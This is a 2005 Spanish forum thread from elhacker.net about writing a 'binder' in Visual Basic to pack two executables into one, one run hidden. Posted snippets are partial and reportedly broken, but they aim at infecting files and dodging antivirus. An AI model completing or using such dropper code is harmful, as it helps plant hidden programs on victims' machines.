Imprimir Página - binder en vb

Título: binder en vb
Publicado por: loco5 en 21 Septiembre 2005, 17:01 pm

hola he encontrado este codigo de vb q permite juntar dos fichero.

public sub Main()
dim Ressource() as byte
dim path as string
dim path1 as string

path = (App.path & "\fichier1.exe") 'path du fichier1
Ressource = LoadResData(101, "CUSTOM") 'on charge la ressource du fichier1

Open path For Binary As #1
Put #1, , Ressource 'on ecrit l'exe fichier1
Close #1

'même chose pour fichier 2
path1 = (App.path & "\fichier2.exe")
Ressource = LoadResData(102, "CUSTOM")

Open path1 For Binary As #1
Put #1, , Ressource
Close #1

shell path1, Vbnormal
shell path, vbHide

End sub

mi pregunta como puedo meter los recuros es decir los programas q van a ejecutar

Título: Re: binder en vb
Publicado por: NYlOn en 22 Septiembre 2005, 00:50 am

ese code solo permite ejecutar 2 arcihvos diferentes, no juntarlos...
y tiene varios errores :S

Título: Re: binder en vb
Publicado por: loco5 en 22 Septiembre 2005, 02:24 am

ejecuta lo dos si pero tienen q estar dentro de un solo fichero es el principio de un binder , no me sale errores

Título: Re: binder en vb
Publicado por: NYlOn en 22 Septiembre 2005, 02:32 am

Código:

Ressource = LoadResData(101, "CUSTOM") 'on charge la ressource du fichier1

Error:
Resource with identifier '101' not found

si saco esa linea solo me ejecuta los 2 archivos x separados, no me los junta en ningun lado..

Título: Re: binder en vb
Publicado por: -sagitari- en 23 Septiembre 2005, 14:13 pm

ese code cojea bastante.....

mira, en www.lover-ice.com

ahi tienes codes fuente para VB de troyanos, binders, programas para msn y demas cosillas, saludos, no pretendo hacer spam, porq no conozco al webmaster d esa web ni nada, solo pretendo ayudaar

dw

Título: Re: binder en vb
Publicado por: _Sergi_ en 23 Septiembre 2005, 18:55 pm

No creo que nadie se piense q sea spam ;)

Gracias GreenDeviL

Título: Re: binder en vb
Publicado por: programatrix en 23 Septiembre 2005, 22:22 pm

Código:

'esto sería un especie de blinder (por lo menos las bases)
dfichero1 = Space(LOF(1))
dfichero2 = Space(LOF(1))
dfichero3 = Space(LOF(1))
Open fichero1 For Binary Access Read As #1 'sacamos la aplicación que infectaremos
Get #1, , dfichero1 'leemos los contenidos
Close #1
Open fichero2 For Binary Access Read As #2 'sacamos la aplicación que infectaremos
Get #2, , dfichero2 'leemos el otro
Close #2
Open truco For Binary Access Read As #3 'sacamos la aplicación que infectaremos
Get #3, , dfichero3 'leemos el programa base
Close #3
'el fichero3 devería de llevar los codes para sacar a su vez las dos aplicaciones
'y permitir su ejecución
Open rutae For Binary Access Write As #4 'la ruta donde creamos la nueva aplicación
Put #4, , dfichero3 'metemos el programa que ejecutará a su vez a estos dos
Put #4, , dfichero1  'metemos el fichero que será ejecutado en primer lugar
Put #4, , dfichero2 'metemos el fichero que será ejecutado en segundo lugar
Close #4 'cerramos
'Faltan muchas cosas como por ejemplo indicarle a programa que leemos en primer
'lugar el peso de cada fichero y por adonde tiene que cortar para ejecutar cada uno por separado
'Pero esto es solo una base que hos puede ser util
'Saludos xD

Título: Re: binder en vb
Publicado por: loco5 en 26 Septiembre 2005, 02:21 am

gracias

Título: Re: binder en vb
Publicado por: -sagitari- en 26 Septiembre 2005, 18:03 pm

Cita de: acosta.sergi en 23 Septiembre 2005, 18:55 pm

No creo que nadie se piense q sea spam ;)

Gracias GreenDeviL

De nada

p.d ahora probare ese code reydelmundo11

Título: Re: binder en vb
Publicado por: programatrix en 26 Septiembre 2005, 19:08 pm

No se que vas a provar es solo un esquema de un programa seguro que ni te funcionará

Título: Re: binder en vb
Publicado por: Kizar en 26 Septiembre 2005, 19:49 pm

Alguien sabe como acer ese archivo que indica la posicion de cada exe dentro del ejecutable???, me baje un ejemplo de blinder y usaba un recurso . RES pero es detectado por los antivirus.

Salu2

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: loco5 en 21 Septiembre 2005, 17:01 pm